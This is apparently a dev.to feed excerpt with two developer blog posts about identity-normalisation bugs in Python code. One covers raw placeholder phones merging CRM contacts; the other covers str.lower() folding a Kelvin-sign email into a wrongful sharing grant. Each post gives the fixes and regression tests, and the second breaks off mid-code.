&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0rwg0it8mldz5t6nk7io.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0rwg0it8mldz5t6nk7io.gif" alt="The offline demo: one synthetic afternoon, every decision named in the ledger." width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7s6noelq8tmrmd29ttyt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7s6noelq8tmrmd29ttyt.png" alt="The gate is the part of the bridge people ask about. The bug lived three layers below it." width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Identity in this package follows two rules I've now paid for personally. Email folds ASCII case only, because &lt;code&gt;str.lower()&lt;/code&gt; and &lt;code&gt;str.casefold()&lt;/code&gt; apply Unicode tables that merge characters which were never case variants of each other. And phone is deterministic E.164 or an explicit refusal: a bare national number resolves only through the location's configured region, and when the rules can't determine the answer, the result is a &lt;code&gt;PhoneNeedsReview&lt;/code&gt; value carrying the raw input and a named reason. A value, not an exception. The caller has to route it to a human queue on purpose, because guessing a country code merges strangers.&lt;/p&gt;

&lt;p&gt;Both rules held. &lt;code&gt;normalise_email&lt;/code&gt; was clean. &lt;code&gt;normalise_phone&lt;/code&gt; was clean. Every caller I'd checked called them.&lt;/p&gt;

&lt;h2&gt;
  
  
  The door nobody was watching
&lt;/h2&gt;

&lt;p&gt;The fake workspace models the platform's documented upsert semantics: within a location, an incoming contact that matches on email or phone updates the existing record instead of creating a new one. To do that it keeps an email index and a phone index, and before the review pass, its phone key helper had a fallback:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_phone_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_LocationState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;normalise_phone&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default_region&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default_region&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NormalisedPhone&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;e164&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at how reasonable it is. The doctrine function is right there, called first. The fallback only fires for values the normaliser refused, and it just keeps them, tidied up, so the index stays total. Every visible key path in the package was doctrine-clean, and then the else branch of one private helper inside the test fake overruled the whole argument.&lt;/p&gt;

&lt;p&gt;Run the sequence and the consequences arrive in order. Ann upserts with phone &lt;code&gt;N/A&lt;/code&gt;; the normaliser refuses; the index files her under the literal string &lt;code&gt;N/A&lt;/code&gt;. Bob arrives an hour later with the same placeholder; his email misses; his phone "matches". Merge. From then on, every lead whose phone field says &lt;code&gt;N/A&lt;/code&gt; chains into that same contact record, which keeps getting fatter. Meanwhile the deduper, which computes its own doctrine-clean keys, saw nothing to match for Bob, so it logged &lt;code&gt;contact_created&lt;/code&gt; while the store underneath merged him away. The audit trail and the data disagreed. In a real CRM this is one stranger reading another stranger's conversation history.&lt;/p&gt;

&lt;p&gt;And the detail that made me laugh, the bitter kind: &lt;code&gt;raw.strip()&lt;/code&gt; is the Unicode strip. The package's own &lt;code&gt;identity.py&lt;/code&gt; defines a six-character ASCII whitespace constant precisely because bare &lt;code&gt;str.strip()&lt;/code&gt; trims things like U+3000 IDEOGRAPHIC SPACE and merges identifiers that differ only there. So &lt;code&gt;ext-12&lt;/code&gt; and &lt;code&gt;ext-12&lt;/code&gt; followed by an ideographic space also folded onto one index key. The fallback didn't merely bypass the phone doctrine. It committed the exact sin from the email doctrine on its way past.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix is structural, and it's None
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_phone_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_LocationState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;The E.164 dedupe key, or None when the number does not determine
    one. An unresolvable phone is stored as a field but never indexed:
    indexing the raw string would merge two strangers who both typed
    &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;N/A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; into the form, and trimming it with ``str.strip`` would break
    the ASCII-only doctrine everything else keys on. No key, no match,
    no merge.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;normalise_phone&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default_region&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default_region&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NormalisedPhone&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;e164&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The callers grew &lt;code&gt;None&lt;/code&gt; checks: indexing skips it, phone search returns empty. The raw value still gets stored on the contact as a field, so a human reading the record sees exactly what arrived; it just never becomes a match key. Three tests now pin the behaviour: &lt;code&gt;test_two_strangers_with_the_same_unparseable_phone_do_not_merge&lt;/code&gt; is the Ann and Bob story, &lt;code&gt;test_an_unparseable_phone_is_stored_as_a_field_but_never_indexed&lt;/code&gt; pins the stored-but-never-keyed split, and &lt;code&gt;test_the_ascii_trim_doctrine_holds_for_phone_indexing_too&lt;/code&gt; carries a literal U+3000 in its source. You can't see the character, which is exactly the point.&lt;/p&gt;

&lt;p&gt;Two lessons worth carrying out of the repo, because both apply anywhere identity gets deduped.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A normalisation failure is not an identity.&lt;/strong&gt; When the normaliser says "I don't know", indexing the raw value turns every placeholder into a master key: every &lt;code&gt;N/A&lt;/code&gt; equals every other &lt;code&gt;N/A&lt;/code&gt;, every &lt;code&gt;none&lt;/code&gt;, every &lt;code&gt;-&lt;/code&gt;, every &lt;code&gt;xxx&lt;/code&gt;. This isn't a CRM quirk. Any dedupe, ETL join, or entity-resolution pass keyed on a column that contains placeholders has this failure mode, and the placeholder density of a phone column is never zero. The irresolvable key has to index as nothing at all.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One rule, and it's only as strong as its least visible door.&lt;/strong&gt; Three incidents, one shape: a many-to-one transformation over identity is a merge, and a merge is a grant. In the tenant incident the grant was entitlements. In the on-behalf repo it would have been document access. Here it's two strangers becoming one contact with one shared history. What moved between the incidents is where the door was. In incident two, the doctrine existed and a caller didn't call it. In incident three, the callers all called it, and the leak was the fallback path inside one of them, in a test fake, the component everyone extends and nobody audits because "it's just the fake". The fake is the thing your entire suite treats as ground truth. A doctrine that stops at the fake's front door is a lobby sign.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the fix does not fix
&lt;/h2&gt;

&lt;p&gt;A placeholder that happens to parse walks straight through the front door: &lt;code&gt;5555555555&lt;/code&gt; under a US-region location resolves to a legitimate-looking E.164 and mints a real key, so two strangers typing it will still merge. Refusing the unparseable stops junk from acting as a wildcard; it does not detect junk. Catching parseable junk needs a known-junk list or an alarm on keys that match suspiciously often, and this repo ships neither yet. Second, the fake is my model of the documented upsert semantics; whether the live platform's own server-side matching indexes raw strings is exactly the kind of thing the RUNBOOK says to verify against a real workspace before trusting anything. Third, the fix has a stated cost: an &lt;code&gt;N/A&lt;/code&gt; lead with an unknown email now creates a fresh contact every time. That's deliberate. It fails toward duplicates a human can merge instead of merges nobody can split, but your review queue will feel the difference.&lt;/p&gt;

&lt;p&gt;The doctrine, the fake, the deduper and the three anchor tests are all in &lt;a href="https://github.com/vinimabreu/ghl-bridge" rel="noopener noreferrer"&gt;github.com/vinimabreu/ghl-bridge&lt;/a&gt; if you want to run the Ann and Bob case yourself.&lt;/p&gt;

&lt;p&gt;A key you couldn't compute is not a key to tidy up. It's no key at all.&lt;/p&gt;

</description>
      <category>python</category>
      <category>testing</category>
      <category>debugging</category>
      <category>database</category>
    </item>
    <item>
      <title>My new repo argued against the exact bug it was carrying</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Tue, 25 Aug 2026 15:52:54 +0000</pubDate>
      <link>https://dev.to/vinimabreu/my-new-repo-argued-against-the-exact-bug-it-was-carrying-3050</link>
      <guid>https://dev.to/vinimabreu/my-new-repo-argued-against-the-exact-bug-it-was-carrying-3050</guid>
      <description>&lt;p&gt;Not long ago, Python's &lt;code&gt;casefold()&lt;/code&gt; merged two of my customers into one tenant. I wrote that incident up in &lt;a href="https://dev.to/vinimabreu/pythons-casefold-merged-two-of-my-customers-into-one-tenant-1g75"&gt;its own post&lt;/a&gt;, and the rule I carried out of it felt permanent: when a normalized value becomes a security key, the normalization is attack surface. Any many-to-one transform over an identity is a merge, and in an entitlement check a merge is a grant.&lt;/p&gt;

&lt;p&gt;This month I finished the sequel to that repo. &lt;a href="https://github.com/vinimabreu/on-behalf" rel="noopener noreferrer"&gt;on-behalf&lt;/a&gt; is permission-aware retrieval for RAG over SharePoint and Google Drive: instead of copying ACLs at ingestion, it asks the source whether the asking user can open each candidate document, at query time, as the user, before anything gets ranked. Emails are the join key between an asking user and a sharing grant there, so &lt;code&gt;models.py&lt;/code&gt; carries the lesson from last time as one small function, docstring pointing back at the whole argument:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;ASCII_WHITESPACE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="se"&gt;\t\n\r\v\f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;normalise_email&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;trimmed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ASCII_WHITESPACE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;fold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;maketrans&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;abcdefghijklmnopqrstuvwxyz&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;trimmed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;translate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fold&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One correct implementation, in one place, born from a production incident. And in a review pass the day before publication, I found this in the package's own fakes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;GraphUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;FakeGraph&lt;/code&gt; and &lt;code&gt;FakeDrive&lt;/code&gt;, the deterministic permission models that ship inside the package, were normalizing every email with &lt;code&gt;str.lower()&lt;/code&gt;. The repo was arguing against the exact bug it was carrying.&lt;/p&gt;

&lt;h2&gt;
  
  
  str.lower() is the polite one
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;lower()&lt;/code&gt; reads like the harmless sibling of &lt;code&gt;casefold()&lt;/code&gt;. It skips the famous German fold: &lt;code&gt;"ß".lower()&lt;/code&gt; is still &lt;code&gt;"ß"&lt;/code&gt;, where &lt;code&gt;"ß".casefold()&lt;/code&gt; is &lt;code&gt;"ss"&lt;/code&gt;. But it is still a Unicode operation with many-to-one mappings inside it. U+212A is the Kelvin sign, a character that renders as a capital K in most fonts, and &lt;code&gt;"K".lower()&lt;/code&gt; is a plain ASCII &lt;code&gt;"k"&lt;/code&gt;. One character, one method call, two identities become one.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2eddmk5gkye86o20mhni.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2eddmk5gkye86o20mhni.png" alt="Two spellings of the same address: str.lower() folds them into one grant, the ASCII-only fold keeps them apart" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;
The same two addresses through both folds. The left side is the bug; the right side is the doctrine, now anchored by a test.



&lt;p&gt;I didn't leave that as a hypothetical. Before the fix, inside the fakes, a sharing link naming &lt;code&gt;Kevlar@outside.example&lt;/code&gt; spelled with the Kelvin sign resolved to a &lt;code&gt;PermissionProof&lt;/code&gt; for the ASCII user &lt;code&gt;kevlar@outside.example&lt;/code&gt;. Two addresses the package's own &lt;code&gt;normalise_email()&lt;/code&gt; keeps strictly apart, folded into one grant by the code whose job is to demonstrate the fence.&lt;/p&gt;

&lt;p&gt;No test caught it going in, and the reason deserves a hard look: both sides of the comparison went through the same wrong fold. Link grantees were lowered, stored user emails were lowered, so every case-insensitivity test passed. A normalization bug in a join key is self-consistent. It doesn't crash and it never disagrees with itself. It just quietly merges identities that the doctrine one directory up says must never merge.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fakes that demonstrate a guarantee are production code
&lt;/h2&gt;

&lt;p&gt;This would be a smaller story if those were throwaway fixtures. They aren't. The fakes ship in &lt;code&gt;on_behalf.fakes&lt;/code&gt; because they are the offline half of the product: they model SharePoint effective access (nested groups, folders that break inheritance, sharing links with expiry) and Drive's two auth modes, and they're what lets the demo and the 353-test suite run the full pipeline with no network, no credential, no key. When the suite proves "a sharing link is dead at the exact expiry instant", it proves it against these models. A test that validates the fence using a biased copy of the fence validates nothing.&lt;/p&gt;

&lt;p&gt;So the fix was not a better fold in the fakes. It was deleting the second implementation. The fakes now import the same function everything else uses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;..models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;normalise_email&lt;/span&gt;

&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;GraphUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;normalise_email&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and the link-grantee matching goes through the same door:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;normalise_email&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;person&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;person&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;link&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;people&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;anchored by a test so the rule can't regress back into prose:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_link_people_matching_folds_ascii_only_never_unicode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;tenant&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;GraphTenant&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# "K" U+212A (Kelvin sign) lowercases to "k" under str.lower(); the fakes
&lt;/span&gt;    &lt;span class="c1"&gt;# must use the same ASCII-only fold as the rest of the package, so a link
&lt;/span&gt;    &lt;span class="c1"&gt;# naming the Kelvin-sign spelling is a different identity, not a grant.
&lt;/span&gt;    &lt;span class="n"&gt;tenant&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;d-pub&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;links&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nc"&gt;SharingLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;link_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;lnk-kelvin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;scope&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;LinkScope&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SPECIFIC_PEOPLE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;people&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Kevlar@outside.example&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,),&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kevlar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tenant&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;u-kevlar&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;kevlar@outside.example&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;decision&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;_resolve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tenant&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kevlar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;d-pub&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decision&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Denied&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first character of that link's address is U+212A, not an ASCII K. They render identically on most screens, which is the whole problem, and why the comment spells it out.&lt;/p&gt;

&lt;p&gt;Here's the part I keep coming back to. The doctrine existed the whole time. It was written down twice, once in the casefold post and once in the &lt;code&gt;normalise_email&lt;/code&gt; docstring, and implemented correctly in exactly one place. The fakes just didn't call it. A security rule that lives in prose is advice. It becomes a property of the system on the day the function that implements it is the only door, and every caller, fakes included, has to walk through it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The repo the bug was hiding in
&lt;/h2&gt;

&lt;p&gt;The package deserved a cleaner arrival, because its own thesis is this same argument at a larger scale: a permission snapshot is a leak with a start date. Most "permission-aware" RAG connectors do this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ingestion, nightly
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;doc&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;list_documents&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allowed_users&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_acl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;   &lt;span class="c1"&gt;# a copy
&lt;/span&gt;
&lt;span class="c1"&gt;# query time
